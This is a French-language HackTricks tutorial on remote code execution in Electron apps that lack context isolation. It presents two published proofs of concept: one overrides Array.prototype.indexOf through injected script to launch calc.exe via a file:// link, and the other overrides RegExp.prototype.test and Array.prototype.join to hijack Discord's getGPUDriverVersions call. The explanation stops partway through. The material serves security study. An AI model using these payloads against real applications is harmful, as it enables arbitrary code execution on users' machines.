7 KiB
Electron contextIsolation RCE via preload code
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
-
Découvrez La famille PEASS, notre collection exclusive de NFT
-
Obtenez le swag officiel PEASS & HackTricks
-
Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
-
Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Exemple 1
Exemple provenant de https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30
Ce code ouvre les liens http(s) avec le navigateur par défaut :
Quelque chose comme file:///C:/Windows/systemd32/calc.exe
pourrait être utilisé pour exécuter une calculatrice, mais SAFE_PROTOCOLS.indexOf
l'en empêche.
Par conséquent, un attaquant pourrait injecter ce code JS via une XSS ou une navigation de page arbitraire :
<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
Comme l'appel à SAFE_PROTOCOLS.indexOf
renverra toujours 1337, l'attaquant peut contourner la protection et exécuter la calculatrice. Exploit final :
<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
Consultez les diapositives originales pour d'autres façons d'exécuter des programmes sans demander la permission.
Apparemment, une autre façon de charger et d'exécuter du code est d'accéder à quelque chose comme file://127.0.0.1/electron/rce.jar
Exemple 2: RCE de l'application Discord
Exemple provenant de https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1
Lors de la vérification des scripts de préchargement, j'ai découvert que Discord expose la fonction, qui permet d'appeler certains modules autorisés via DiscordNative.nativeModules.requireModule('NOM-DU-MODULE')
, dans la page web.
Ici, je ne pouvais pas utiliser directement des modules pouvant être utilisés pour RCE, tels que le module child_process, mais j'ai trouvé un code où RCE peut être réalisé en remplaçant les méthodes JavaScript intégrées et en interférant avec l'exécution du module exposé.
Voici la preuve de concept. J'ai pu confirmer que l'application calc est affichée lorsque j'appelle la fonction getGPUDriverVersions
qui est définie dans le module appelé "discord_utils" depuis devTools, tout en remplaçant RegExp.prototype.test
et Array.prototype.join
.
RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
La fonction getGPUDriverVersions
tente d'exécuter le programme en utilisant la bibliothèque "execa", comme suit :
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}
const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}
return result;
};
Généralement, execa essaie d'exécuter "nvidia-smi.exe", qui est spécifié dans la variable nvidiaSmiPath
. Cependant, en raison de la substitution de RegExp.prototype.test
et Array.prototype.join
, l'argument est remplacé par "calc" dans le traitement interne de _execa_**.
Plus précisément, l'argument est remplacé en modifiant les deux parties suivantes.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
-
Découvrez The PEASS Family, notre collection exclusive de NFTs
-
Obtenez le swag officiel PEASS & HackTricks
-
Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
-
Partagez vos astuces de piratage en soumettant des PR au référentiel hacktricks et hacktricks-cloud.